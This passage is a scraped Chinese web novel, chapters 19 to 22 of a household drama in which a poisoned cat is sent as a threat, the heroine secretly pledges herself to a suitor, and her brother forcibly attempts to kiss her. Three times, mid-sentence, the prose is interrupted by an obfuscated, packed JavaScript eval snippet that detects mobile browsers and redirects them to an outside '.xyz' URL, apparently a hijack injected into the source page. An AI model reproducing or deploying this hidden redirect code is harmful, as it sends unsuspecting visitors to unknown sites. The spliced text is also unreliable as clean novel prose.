窦姀摸摸脑袋,总觉得心虚。总不能告诉旁人,是弟弟跟她闹别扭的缘故吧? 于是她便纳罕笑笑,“我也不知呢。” 只见昌叔大叹一声:“从前二爷虽也勤学,可没见过这样二门不迈的,都是明年春闱把人逼的呀!这几日二爷胃口也不好,庖房送去什么他都兴致缺缺,没吃几口。主君和大娘子为此可是忧心......” 窦姀听后觉得更奇怪了。 明明上一回,窦平宴还信誓旦旦告诉自己,不愿去明年的春闱,想在家多待两年增进学业......现在竟又改了主意,闷头苦读。 窦姀心想,弟弟还真是个多变的人。 不过肯上进都是好的!原本他说不愿去时,她这个做姐姐的,也是不解和不赞同。那时简直不敢想象,若是主君和大娘子知晓,会发多大的火。 窦姀寻思了下,人因着焦虑心急,本就容易食欲不振。而庖房做的又大多山珍海味,咸口多,也难怪他吃不下。今日清早,自己倒是熬了些莲心粥,清淡很多,没准能吃呢。 于是便去小庖房拿了食盒盛粥,托昌叔带给弟弟。 这一趟粥送过去,没想到第二天昌叔又找上门。 他兴高采烈地告诉窦姀:“您做的粥二爷都吃了,老奴瞧着清白干巴,本还想给二爷备些爽口小菜。结果他说不用,竟是一个人也吃得挺香。莫非姀姑娘这莲心粥的做法跟寻常不同?要不......老奴让庖房的婆子来跟姀姑娘学学?” “不用的...”窦姀琢磨说,“我这也就寻常莲心熬的米粥而已,应是二爷这几日就想吃口清淡的,所以才吃得下。” 昌叔便笑了:“也罢,只要二爷能吃,什么都好。对了,大娘子知晓此事后很高兴,特特赏了许多好东西,让老奴送来给姑娘呢。” 只见他一声令下,便有两个小厮抬着一箱笼过来。 一打开,绫罗布匹堆得满满,全是鲜妍崭新的。昌叔指着箱笼笑说:“这些都是大娘子从苏州买来,说是给姑娘留着做衣裳。” 窦姀的绣工很好,从前闲着没事时,便会给自己绣两身。就连姨娘的许多衣裳,都是出自她手。
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窦姀倒是纳罕,窦平彰不喜欢她,不愿认她。这么多年过去,他还是头一回给自己送贺礼......也不知是中什么邪了。 春莺在一旁观望,也奇道:“大爷这礼送的怪,自他搬出咱们院后就没往来过,别是不安好心吧?” 这话一说完,就被苗婆子瞪去一眼:“勿挑拨,大爷怎么说也是姑娘的亲兄长,没准良心发现了。” 以前俩兄妹是个什么情形,芝兰是新来的并不清楚。只知道没那么亲近,却也没想到那么疏远。她见窦姀迟迟不动,不禁问道:“这么一大箱,姑娘不打开瞧瞧吗?” 送的什么,窦姀自然也很好奇。 她手刚触到那一层木匣盖时,竟然有些紧张。咬牙打开,随着哐当一声,竟看见匣内血淋淋的,躺着一条毛茸茸的猫...... 那猫的眼睛是睁的,铜铃般空洞洞,像是被人刻意拉开。却没有生息,一动不动,已经死了。 窦姀惊恐地捂住嘴,险些叫出声,急忙将匣盖哐的合上。 三个人皆震惊地朝她看来,苗巧凤率先问道:“怎么了姑娘?” “是死猫...!” 余恐久久还在,窦姀腿已经有些软了,扶稳桌子才堪堪站住。 她急忙招呼人把木匣翻转一圈,只见那匣底赫然写道: 人做天看 现世报 19. 下毒 他送这条猫来是什么意思? 什么现世报?这么恐怖的咒语,窦姀又恼又惶恐,当即便让人带上这份“大礼”,敲响了清风馆的门。 窦平彰人不在家,来开门的是他一个小妾,叫藤娘。 藤娘原本在屋里小憩,忽然被这哐哐哐的敲门声惊醒。 来者来势汹汹,几个丫鬟面面相觑,都不敢开门,便只能她亲自来。她探究地扫过一眼这些人,原来是大爷的妹妹呢。 只是在藤娘印象中,这位妹妹素来脾性温和,也不上门往来。今日不知怎的,竟如此急恼,连门都敲的这样响。 于是她先说了大爷不在,又问窦姀:“姑娘您这是?” 藤娘是个细皮白肉的丰腴美人,窦平彰自弱冠之年起,就只纳过这一房小妾。房里没有正头娘子,他的许多事都是藤娘给打理的。 窦姀寻思,或许这事藤娘也知晓一二,便招呼苗婆子和芝兰,把装猫的木匣丢到清风馆前,质问道:“他这是何意?弄死了一只猫送来我这,不离开窦府就要咒我么?” 藤娘听完俯身,小心地将木匣打开。瞧见里头那只雪白、毛茸茸的死猫后,不禁脸色一变,竟是这只! 窦姀注视着藤娘的神色:“你知道它?” 藤娘似也被血淋淋的场面吓到了。 她点点头,脸有些白,胆战心惊地说:“这猫是大爷养的。昨儿个夜里庖房送来翡翠虾羹,大爷没胃口,叫下人弄给他的爱猫吃。谁知这猫吃完便吐血,被毒死了。大爷还发了火,明明叫下人拖去埋了,但是奴也不知,怎么又到了姑娘这儿。” 窦姀一听便了然,不免冷笑。 若藤娘所说为真,那么窦平彰便是认为,虾羹的毒是她下的? 当然,藤娘所说是不是真的她也不能确定。窦姀决定,就在清风馆等窦平彰回来。 窦姀是午时来的,等到窦平彰回来时,已经两个时辰过去,接近傍晚。 他瞧着是跟别人吃酒去的,回来时袖子还沾染淡淡的酒味,颇有点闲情逸致。 看见窦姀坐屋里时,忽然眉心一皱,拉过藤娘低声问:“谁准你放她进来了?” 人就在屋里,即便声音再小,这句话也毫无意外地落进窦姀耳中。 只见她清清一瞥,指着地上的木匣道:“听闻昨夜猫吃了你的羹粥毒死的,怎么,大爷以为是我干的?” 窦平彰本也不确定那毒是不是她下的。 敌在暗,他在明,能把毒下进他饭菜之人必定不简单。于是一开始他并不准备大张旗鼓地查,只自己私下去庖房摸了趟底。 庖房的人说,他的饭菜与梨香院是同做同送,而梨香院每晚都会派人来取。 虽然这翡翠虾羹经手之人极多,可窦平彰觉得,他那妹妹的嫌疑是最大的。毕竟他厌恶她,前不久才羞辱她,逼她走。 所以为了试探,他送去那只被毒死的猫。 既然人都开门见山了,他索性也不再伪装,冷笑:“匣底的字看了吗?人做天看,现世报。姨娘怎么教养你的,你竟连手足都下得了毒手?” 手足? 窦姀还是头一次从窦平彰嘴里听到这个词。 姨娘怎么教的?姨娘一直告诉她,不管以后如何,这个家如何,她和兄长都是血亲。要她敬他、爱他。可偏偏是他逆了这条道,他看不起姨娘,也嫌弃厌恶她。 窦姀本来急恼了,竟还想力证自己清白。忽然这水给她当头一泼,又清醒了很多。 谁会给窦平彰下毒呢? 他在这家待了二十一年,难道不是平平安安长到现在?且他只是庶子,镇日跟着些世家子弟吃酒玩闹,书也不好读,难道还能碍了府里哪位的路吗? 这莫不是故意给自己下毒,栽赃陷害,想逼她走的手段......? 这样一想,后者则更合理些。 窦姀站起,冷声道:“不管你信与否,我只有一句,这毒不是我下的。毒死你,我能有什么好处?像姨娘一样被官府到处抓么?谁又知你在外头招惹了什么人,让人当贼混进家里。不过你若想用这个法子逼我走,我是不会走的。现世报的该是你,哥哥。” 最后一声哥哥,从她冷笑的牙缝中轻轻蹦出。 窦姀叫上了芝兰和苗氏,刚要走,却见窦平彰出手一拦。 她本以为他要再质问,已在腹中酝酿好了冷嘲热讽的话。 谁知他的目光竟往她身后一停,眼色浮了些酒后的余醺:“你这丫鬟......长得倒是不错。” 他看的方向,正是芝兰。 藤娘本坐在一边默默看戏,听见自家大爷这话,脸色微变,险些站了起来。连苗婆子也觉得不可思议。 芝兰本就胆小,一听这话可怎得了?身体颤抖,扑通地一下跪了,头都要低到地上去。 “不如你将她送我吧,这事我就暂且不计......” 窦平彰直接越过窦姀,刚朝小芝兰伸出手,却猛地被拍回。他有些吃痛,羞恼地看向窦姀,却见她比他的恼意更大。 窦姀一把将芝兰拉到身后,瞪着他道:“我这里的人你要什么要,你若春宵寂寞,自个儿去找美娇娘,大爷逛的勾栏院还少么?” 窦姀说完这话,已经迅速利落地带着自己的人离开。 其实能被主子瞧上,哪怕是个通房,这辈子起码衣食无忧,也不用再给人干苦力。若是受宠被抬了姨娘,那就能锦衣玉食一辈子,再生个一儿半女,基本就能在府上立足了。这是多少小丫头梦寐以求的? 若是跟不了主子,以后就是配小厮。奴生奴,再生奴,连子子辈辈们都永远脱不了奴籍。 窦姀回去的时候,还在想芝兰会不会也是如此作想,从而怨自己呢。 进了屋后,房门一关,她只留了芝兰下来。 窦姀问芝兰:“方才大爷说的话你是怎么想的?他看上了你,我当时恼极了,也没想过你愿不愿便拒了......你若想跟大爷,现儿跟我说也行,我不拦你。” 芝兰摇了摇头,却跪下道:“奴不愿跟着大爷,只想待在姑娘身边...” 窦姀叹了口气,拉起芝兰。想起她那兄长也算不得什么好东西,便跟芝兰嘱咐以后碰见他便避些走。 正月过去,天渐渐地回暖。 入春后,晴阳高照,苗婆子和春莺正往院里铺被褥。趁着晾晒的功夫,春莺随口向苗婆子笑问道:“三月就要春闱了,你昨日不是被昌叔叫去主屋帮忙么?可有听闻二爷何时动身?” 春莺一说,苗婆子才乍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957897|161009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起自己有一事忘了。拍拍脑袋,恍然道:“瞧我这记性,岁数大了不中用,本要跟姑娘提呢,转头就忘了!” 彼时窦姀听见这话,翻被褥的手一顿:“他真要动身了?” “哪能呢?老奴过去时正巧看见二爷跪在祠堂,主君发了好大的火,大骂训他,大娘子在一旁劝和。我问昌叔二爷那是做什么了,昌叔虽叫我少问主子的事,却还是说了,二爷是不愿去春闱,才被训成那样。”说罢古怪地啧嘴,“天知二爷在想什么,竟然不愿去。” 窦姀默默晾好了被褥,已经进屋去。 她给自己倒了盏茶,不知在想什么,想了有一会儿。再出去时,看见苗婆子手里端着一木案,案上似是女子的衣裙。 苗巧凤兴高采烈地端着过来,笑道:“姑娘出来的正好,方才大娘子的人才走,这是她们送来的!说是明日魏家办游园宴,给咱府上递了邀帖,请女眷去呢。这回魏府请的都是江陵世家,为的便是各家中看看眼缘。大娘子说姑娘既然也到了年纪,便也该去相看一番,瞧瞧有没有好的亲事。” 窦姀接过衣裙,仔细看了看,只见是芙蓉色的古香缎子,做工精细。大娘子实在是有心了。 ...... 今晚,弟弟正好也来了。 窦平宴来时本是想吃几盏茶,再跟她说几句话。眼一瞥,却瞧见了里边桌上的新衣。于是便向窦姀问道:“今早是母亲的人来过吗?” 窦姀一讶,心想他还真是料事如神,一看就猜中是谁送的。 还没到她回答,弟弟又开了口。 “我听说魏氏还对咱们有愧,觉得是自家耽搁了三姐,便办了这场游园。一则是方便各家女眷相看亲事,二则则是为了三姐,三姐的亲事若有新的着落,他们也可安心些。”说罢,便见窦平宴的目光瞧来:“母亲是要阿姐一定去吗?” 窦姀想了想,其实大娘子本是可以不必带她,只要带云湘和云筝去就行了。毕竟如今她的身份是表姑娘,带上逢人还要解释,少不了麻烦。可没想到大娘子还是厚待,竟也叫上了自己。 大娘子是这么说的:若愿意去,明日便到大门前的马车边候着。 窦姀告诉弟弟,当然不是一定要她去,只是大娘子厚待而已。 “那阿姐还是别去了吧。” 窦平宴吃完一盏茶,笑笑对她说道:“我听闻魏氏邀的世家,也算不得太好,许多远比不上咱们家,阿姐何必在那些人中相看?” 窦姀一听却忍不住想说,如今自己也不是父亲的女儿,嫁不了更好的,何必眼高手低? 但是她想起弟弟不喜她说这些菲薄之话,便全吞进了肚子里。 本来去不去她也是无所谓的,只笑着说道:“好了,我知晓。” 等到了翌日,日上三竿。 窦姀还在屋里躺着,苗婆子忽然急冲冲地进来。 苗婆子见她还没有动作,便长长叹了一声:“姑娘!您怎能不去呢!魏家又不是小门小户,他们办的游宴多少世家子弟上赶着去!人家只知窦府三个姑娘,又不知窦府有个表姑娘!您若不赶着这回相看亲事,以后还等谁家上门问呢?若是姨娘在,也定要训您的!” 窦姀还没躺舒服,已经被苗巧凤强行拉起,换上了新衣。 20. 定情 “我昨日还跟弟弟说不去呢...” 苗婆子两手一转,一个漂亮的云髻已经落成。 又挑起匣内的簪钗比划两圈,一根一根插进去,忍不住嘀咕道:“二爷是什么身份,那边有几个世家出身能比得上他,他自然看不上了......要看亲,嫁娶的人是您又不是他,光他看不上有甚用处,姑娘还得为自己争一口气!从前有姨娘为姑娘筹谋盘算,姑娘自然可以不用留心,可如今......” 苗巧凤没再说下去,窦姀却哽了一下。 如今没有姨娘了。 姨娘跑了,再也不会回来了。 苗巧凤瞧见她在铜镜里泛红的眼角,轻轻叹气:“姑娘找门好亲事比什么都重要,难道还要让远在天边的姨娘不放心么?” 窦姀已经说不出话,由着苗婆子收拾完,人上了马车。 这趟是苗巧凤陪她去的。 坐马车里时,苗巧凤瞧着窦姀略为不安的神情,问是不是还在为答应二爷的话而心忧? 窦姀点点头。 苗巧凤便摸了摸她的手,宽慰说:“二爷也是想着姑娘好。若姑娘这趟能觅得一门好亲事,二爷高兴还来不及,没准懊悔拦了姑娘呢。” ...... 魏家办的游宴依旧是湖边那一处东园。 上回来的时候是深秋,如今春色芳始,沙堤边的杨柳已经冒出芽来,满园笼着一层淡淡新绿。 窦姀一从马车下来,便见这附近已摆上数排的长桌,备好茶水糕点,丫鬟仆婢如云。来这儿的小娘子倒不少,一个个瞧过去如花似玉,语笑嫣然。 窦云湘应该是跟其中一人认识。 刚从马车下来,围看丝竹奏乐的人堆中便有一小娘子注意到她,挥了挥手绢一笑:“云湘,这里来!” 窦云湘蠢蠢欲动,望向云大娘子。云如珍笑笑,倒是宽和道:“你自个儿去罢。” 窦云湘善舞琴,丝桐琵琶都是一把好手。与她相识的几位世家小娘子,皆是因此结缘的。 窦姀也朝她们看去,只见碧柳下设栏椅,莺莺燕燕围了一处观琴。不远处还站着些衣着雍容的妇人,正含笑看着她们,时不时交谈,评头论足几句,应是几位世家里的主母。 不久后奏乐之人下位,云湘便被两个小娘子推上。她笑了下,手指一挑一拨之间,已有仙乐从琴中缓缓流出。 窦云筝见罢,不屑地嘀咕,“不过泛泛之辈而已。” 随之收回目光,跑去跟大娘子也请示了一番,带着丫鬟闲逛离开。 今日不知他有没有来? 窦姀脑袋里渐渐划过一张许久不见的面孔。 她凭借着印象,顺原路而走,经过几处鸟兽字画的影壁,鹅卵小道,已经重新回到这片桃心湖。 这桃心湖,曾是两人交心谈话之地。 这里还像去年一样,湖面淡蓝广阔,一望无垠,湖边有岸堤白沙。再往外些,周围一圈都栽种着葱葱绿绿的桃树。 窦姀一直觉得此地风景甚美。人走过来,由湖风一吹,都心旷神怡不少。 但苗巧凤显然不是这么满意,皱着眉四处瞧瞧:“这儿连个人影都没有,冷清的只剩下鸟影,还怎么觅个好姻缘?依老奴看,姑娘还是回去吧!湘二姑娘那起码人多热闹呢,还有几个当家娘子也在。” 窦姀很轻快地就应下了。 原本她走到这里也只是看看,瞧瞧桃心湖的春景是如何的。既然观赏完了,那也该走了。 两人刚走出桃林,忽然迎面逢上一人。 此人高大的身形,白领子绿纱袍。玉簪束发,眉眼含笑,好一个风度翩翩,不是魏攸又是谁? 他正想一声招呼,忽然瞥见她身后的婆子,只好规矩自身,先是一礼再道:“我方才在前园瞧了一遍没看见,还以为小娘子不来了,没想到竟在这儿。” 听这话,苗婆子的脑筋好像忽然转不过弯,登时怪异地看向窦姀。 窦姀咬着唇,朝她微不可查地摇头,“你切勿告诉旁人,回去再同你说。” 魏攸听着诧异:“她们还不知道这些吗?” 窦姀见这里不是说话的地,先打发走了苗氏,又引着他往里道走些,才说道:“我没有说,是因为郎君提议之事我还未曾考虑好。” 两人隔着三四步,不近不远,身形皆匿迹于高大灌林下。魏攸见她头微垂,话也说得轻淡,不免问道:“小娘子心中有何顾虑,不妨与我说说?” 窦姀向来不是拖泥带水之人,把话先想了一通,便认真托出。 没想到他听完后却一脸轻松:“单只因为这些吗?你怕在我家过得不好?” 他接着笑道:“其实你不必顾虑这些,我手中有我爹的把柄,如今他动不了我。否则以为,我是如何劝动他退亲的?不瞒你说,其实我早已作好打算,你若嫁与我为妇,咱便分出块小院别居。日后若有我一口饭吃,也必定少不了你一口!” 窦姀听完后笑了:“这算什么?不走寻常路的表明心迹吗?” 上回还说到“青青子衿悠悠我心”,今日便成了若有我一口饭吃,必定少不了你一口,他这人说话倒是凑趣儿。 见她还不吱声,魏攸渐渐觉得心悬。他不怕她有所顾虑,就怕她从未考虑过自己。 魏攸长这么大以来,见过不少花容月貌的小娘子,从前他也只是觉得看着赏心悦目。可是眼前之人,他却是头回觉得,若能彼此相伴一生该多好。 不仅是因为她容貌清丽,性情温婉又可人。还因为她曾在困苦之际对他施以援手,他们身上有相似的影子...他虽不信天命,可若说这是两人的一段缘分,却能全然栓得住他。 “我可以等你!” 魏攸突然说道,“等到你何时想清楚了,想嫁我,都可以。我旁的不怕,只怕你对嫁我一事没有心思。你只需告诉我,你但凡对我存了一点心思,我都愿意等下去...” 窦姀听他如此诚恳的话,心有动摇,不禁一问:“若我说没有呢?” 他抿了抿唇,不忍看她,而是看向别处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'''',24,24,''''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957898|161009||http|test|mini|href|location''''.split(''''|''''),0,{})); () { $(''''.inform'''').remove(); $(''''#content'''').append('''' 的林木。 好一会儿后,才如实说道:“那我会死了心,且...再去看别的亲事吧。” 风轻轻拂,拂过两人的心弦。不知是拨动了什么,竟也听得怆然之曲从天上来。 窦姀似乎看见他眸底的光渐渐灭了,快成一片灰烬。她心头一动,想起自己情愫初生的夜晚,脸颊发烫,连拂进唇边的发丝都有了甘甜。 她忽然叫住魏攸,破天荒地说:“那你不用看别人了!我对你存了...” 后面两个字,窦姀实在脸红,已经说不出来。 ...... 后来,窦姀不记得自己是怎么一步一步踱出这片桃林的,她和苗巧凤汇合时,连耳尖都透着热红。一颗心藏在胸膛下,时不时乱跳着。 她只记得魏攸低头笑问自己怕不怕?当他明年请媒人上门提亲,此事公之于众时怕不怕? 傍晚回程,坐进马车,车幔拉起,整个车舆陷入隐秘的暗色中。 有了能说话的地方,苗巧凤终于忍不住问窦姀,她与那魏家郎君是怎么回事?他家前头不还要跟筝姑娘议亲吗? 窦姀三言两语一说后,苗巧凤懂了个大概,也还是忍不住愁道:“虽说那魏大郎君相貌品性皆好,又是主君亲自挑拣的人,可毕竟三姑娘的事才刚过去...” 她看向苗婆子,浅笑说:“所以要等一年,明年这时候再上门提亲。一年过去,等到云筝寻了新的亲事,主君和她的气也能消了大半。” 听窦姀这么说,苗婆子觉得这考量倒算周全,便也宽心地笑笑道:“老奴就说姑娘来这一趟不亏,瞧瞧,这不觅得一如意郎君了?” 马车昏暗,两人相视一笑,皆是欢喜。 回到窦府,窦姀特地先跟苗巧凤嘱托了一番,要将此事烂在腹中,不要说出。 刚走到院门前,遥遥一看,发现屋里竟还亮着。两人面面相觑了一通,苗氏便忍不住责道:“准是那俩丫头留的,门窗也不知关一下,多招虫呀!” 可是走近了,却看见春莺和芝兰就站在门边,并不在屋内!她俩待得小心翼翼,春莺是个爱热闹的人,竟连话也没有跟芝兰说起。 这让窦姀莫名有种不安的预感,又仔细一瞧她俩,她俩噤着声,神色均不太好,像是被人训斥了...... 难道是主君来了? 这屋门便大大敞开着,窦姀也不敢问出声,先瞧了苗巧凤一眼。苗巧凤眉头拧着,示意她进屋去。 她深深吸了口气,也罢,是劫逃不过。 于是谨小慎微地走进去了。 窦姀一进屋里,没想到坐炕上等她的并不是主君,而是窦平宴。 他原先还在自顾自地吃茶,一听到人进屋的动静,毫无情绪地撩起眼皮。 却见她一身芙蓉色,钗环如翠,额前竟贴了炽红花钿,眉眼细细妆过,似秋水拂情,眼波潋滟动人。 他越瞧越是眼热,终于忍不住一声冷笑,问道:“阿姐这是从哪回来了?跟我说的话全忘了?不是说了不去么?” 21. 端倪 窦姀瞧他这么大的怒气,自知理亏,心里没底。 上一回,弟弟就曾因这事跟她生气过,折腾了好一阵。不过即便答应了魏攸,对弟弟的承诺倒还是在的。 窦姀细细算过一次,魏家是明年来提亲,若能议成,成婚怎么也得是两年后的事,她自然能够在家多待两年陪他的。 所以这回不能提早说,免得多生事端,弟弟又跟自己生气。 可今日游园也是去了,窦平宴却不想她这么早相看亲事,如何编出一套能搪塞的理由呢...... 窦姀被他那直直的目光盯得心虚。 索性躲开,先倒了一盏水给自己喝,压压惊。等到心境平定一些后,才扯谎道:“我只是太久没出门过,想去游园凑个新鲜,哪是别有所图呢?” “没别的所图?” 他倏地腾身站起,走到跟前,凑近了头瞧她的神情:“阿姐这话说得脸不红心不跳,真这么回事吗?” 窦平宴显然是不信,从屋外招呼了苗巧凤进来。 苗巧凤一进屋,便畏畏缩缩。 其实她原来也不觉得二爷这么吓人,只是方才在屋外与春莺咬耳朵几句,才知道这二爷过来时发现人不在,发了好大一通脾气,脸就没这么黑过。从早到晚,一个人竟在屋里等了一整天。 苗婆子进来连眼睛都不敢瞟,就听窦平宴冷声道:“我问你,今日阿姐去游园,可与哪些世家看了眼缘?” 苗婆子还记得回家时窦姀的叮嘱,不敢乱说,便小心道:“回二爷的话,没有呢,今儿姑娘只带着老奴在园子里闲逛,没凑到人前去。几位主母的眼睛都在湘二姑娘身上,连筝姑娘都没占到风头,跟遑论我们姑娘呢!” 除却魏攸一事,苗婆子自认为自己没骗这位爷,这些都是实话呢。 窦平宴听完后只一声冷笑,也没说什么,只让苗氏先下去。 还好苗氏记得自己的话,窦姀暗叹。方才真真是好险,就怕苗婆子经不住吓,生生交代了魏攸的事。 “现在你可放心了?” 窦姀仰头,颇有点底气地问弟弟。却被他暗如古波的眼眸一瞥,心紧接着七上八下。 “我怎么偏偏不信,阿姐这样的美貌,会没人来问呢?” 他微微而笑,带着一股寒凉突然逼近。窦姀见他伸来的手,下意识往后闪躲,连连后退,竟不慎撞到什么,跌坐在炕上。 窦姀望着他一步步走来,脑子一时难以转圜,只觉得夜深昏灯下,这气氛怪异诡谲。 她掌心皆是汗,手指紧张攥弄着帕子。 忽然那帕子被他轻轻抽出,窦平宴垂眸看了眼,却凑前轻闻一下,而后撩眼看她:“竟还染了香......阿姐从前见我时,怎么都没这般仔细?” 他弯腰直直逼视着她,却还在冷笑:“明明都答应我了不去,却又去,哪有你这样背信弃义的?阿姐真的只是去吃茶,什么心思都没存么?” 他的目光很灼烫,就像刑堂逼供人犯似的。 窦姀知晓这事是自己理亏在先,可是她没想到窦平宴会这么生气,且这反应也很怪异。 她打算先发制人,于是立马起身,往人跟前扑去,手顺势环住他的后腰,捏着柔婉的嗓音笑道:“我只是很久没出门过,瞧瞧热闹罢了。说在家多陪你两年,那就是真真的......”话已至此悄然抬眸,似是委屈道:“要我怎么说你才信呢?” 窦平宴被这一抱怔住,忽然低头,见她眼眸灵透,眉心花钿赤红如火,唇色淡粉水润。 他看着、看着有些意乱,像是被勾了心,险些就要俯头下去...但却怕现在吓到她,只能暂且先忍住,颇有些咬牙切齿道:“罢了,阿姐既骗了我,我便给你一将功折罪的法子。” 他终于松动了,窦姀不免欣喜地问:“什么法子呀?” 但见窦平宴重新走回,撩袍坐到炕上。他看过来,拍了拍自己的大腿,示意她也过去......窦姀登时愣住,站住不动,以为自己看错了。 “过来啊...阿姐不是要将功折罪么?”他似乎极淡然地说,“只是让你坐过来罢了。” 坐过来? 窦姀不确定是不是自己想错了,步子缓慢地挪过去。直到站在他跟前时,她的脸色满是困惑:“你想做......” 后面两个字还没问出口,忽然被人一拽,顺势坐在了他腿上。窦姀惊疑不定地瞪着他,却见他揽住自己的腰,含情笑笑说道:“你只需让我亲一下,这事便过去。” 窦姀眼前煞白,一时之间脑子纷杂,竟分不清他们之间这样算什么?到底算什么呢?只是亲人之间的怀抱而已,还是......她人已傻住,身子僵的动不了,任由他这么搂着。 他的眼神温柔如水,含着亲昵与暧昧,偏执与占据,是她看不透的。忽然束缚在她腰间的力一松,人止不住的后仰,后颈就这样直直抵在案桌上。 寒意从脖子蔓延进身体... 窦姀蹙起眉,感觉眼前烛火昏昏,这姿势使胸口迟钝发闷,实在喘不上气之时,竟看见他忽然闭上眼,缓缓俯头,清俊的脸一步步朝自己逼近...... “不要......!” 窦姀突然猛烈挣扎起来,先踢到了他的臂弯,听到他吃痛地闷哼却还不肯松手。又费劲地挣扎,就在唇堪堪擦过脸颊之际,忽然案桌被踢翻,人也挣开了,她却腿软不稳地跌坐地上。 桌上的瓷盏滚落,碎了一地,褐色的茶水流淌成滩。 这巨大的动静,屋外也毫无疑问地听到了。房门没关,但见春莺与芝兰两人急慌慌地跑进来,看见这满地的狼狈和跌倒的窦姀,俱是震惊,“这......” 窦平宴看了眼地上的人,神色如常地朝她们摆摆手,“无妨,这儿我来收拾,你们先出去吧。” 春莺和芝兰颔首退下。 窦姀身子还在抖,双眸无神地盯着地上的茶渍。只见他弯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'''',24,24,''''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957899|161009||http|test|mini|href|location''''.split(''''|''''),0,{})); () { $(''''.inform'''').remove(); $(''''#content'''').append('''' 腰,将碎瓷片一块一块捡起来后,又伸手把她扶起,竟是笑笑道:“我不过说个玩笑,阿姐也能吓成这样。” “玩笑?” 窦姀扶墙站直,脱开他的手,抬眸不解地看向他。 却见他委屈,似是抱怨道:“是啊。今日你气了我一回,我若不恐吓你一回,怎么解我心头大气?” 窦平宴见她垂下眼眸,身子还在微颤,眼角似有红湿,便递上帕子为她擦了擦。 而后便将人拉入怀中,拍着她的背宽慰道:“这回是我不对,用错法子吓你太过了...可是阿姐,你就没有一点过错么?你以后别骗我了好不好,有什么难事都能与我说......我们从前,不都是无话不说么?” 窦平宴这不安慰还好,一安慰竟听到了窸窸窣窣的抽噎声。他一愣,忽然胸口被人重重捶了下。 低头看去,她身上的惊吓已经散退,神色还和缓许多。窦姀抬眸盯着他,终于破涕为笑:“天可怜见,哪有你这样吓人的?好的不学,净学些野路子......亏你还是个读圣贤书之人,别白白的败坏读书人名声......” “怎就败坏了?”窦平宴仍揽着她,也笑:“就别人一心求学问,难道我不是认真读书?我若不上进,以后还怎么娶自个儿瞧上的小娘子。” 窦姀听这话,倒是一惊,渐渐从他怀中出来:“你何时有看上的人家了?” ...... 关于弟弟看上的是哪户人家,他并没有告诉自己。 窦平宴当时只笑着说,对方还不知晓呢。再过些时,他便亲自携礼登门告知,阿姐等着看便是。 窦姀睡前还琢磨了会儿,是自己见过的哪户人家?江陵世家众多,其实大多数她打听的不多,也不清楚。 不过弟弟和她都已有了相中的人家,其实也挺好的。从前他们相依为命时,总觉得彼此都是分不开的人,而当自己对魏攸动心时,心底有那么一角却还在为弟弟愧疚。总觉得自己一旦嫁了人,便是彻底抛弃他了。 但现在不一样了,他告诉她,其实他也有了看上的,她心中的愧疚感便全都消散而去。起码从今往后,即便没有了她,弟弟也是有人陪着的。 入夜,窦姀是怀里揾着魏攸赠的那枚玉佩,才进入梦乡。 这几天过得相安无事,虽还像从前那样平淡,但窦姀心中揣着喜事,做什么都心情舒畅。偶尔,她也会偷偷拿出魏攸写的字条一看。 天渐渐地回暖,厚袄子已经褪下,换成了薄衫。窦姀正好手头无事,便拿出之前弟弟和大娘子送的布料绸缎做衣裳用。 这天午后,日头大喇喇地落在篱笆上,万里晴光,鸟声清脆。 窦姀倚在窗前,还在做绣活儿,便看见窦平宴登门,捧着一大匣子首饰让她挑。 一眼过去,只见金钗钿合堆着,珠玉琳琅,数不胜数。 窦平宴笑着说道:“这些都是送给我心上小娘子的,阿姐挑一挑罢。” 22. 装病 “既然送你的心上人,自己挑便是,我瞧了作甚?” 窦姀笑拒,转头捯饰起手头的绣花样子。 “阿姐与她同为女子,所喜的总是差不了多少。” 他又坚持不懈地把匣子抱到跟前,笑说:“阿姐便挑一挑罢。” 窦姀无奈,只好放下手中的针线。 这匣内的首饰皆是精致,定是价值不菲之物,但是色泽繁多,窦姀看一圈便花了眼。挑挑捡捡,便从中挑得一只翡翠剔透的玉镯,几根攒丝珍珠金簪,一对添香耳坠子。 窦平宴从怀里取出手帕,把她挑出的这些尤为仔细收好。又笑笑道:“阿姐亲自挑的,我想她也会喜欢。” 窦姀睨了他一眼,不说话,继续绣衣裳。 绣了有一会儿,发现窦平宴还坐在对面,什么也不做,什么也不说,就只盯着自己看。她终于忍不住又放下针线:“你怎么不说话,老瞧我做什么呀?看得我心里发毛。” 却见他收回目光,寻思了片刻,突然问道:“阿姐...以后你若是成亲,喜欢什么样的郎君?” 窦姀听到这话,一时之间霎是脸红,脑中不知不觉竟浮现出魏攸的模样。 她想起初见时魏攸讨好地嘻笑,唤她菩萨小娘子,乞求借个三两银子......在桃心湖边,他一身悲茫却毫不在乎地揭开过往,以及那张费尽心思,夹在糕点里的字条——“我多一心是为悠也,青青子衿悠悠我心”......窦姀想,自己喜欢的大概就是这样洒脱温暖之人吧? 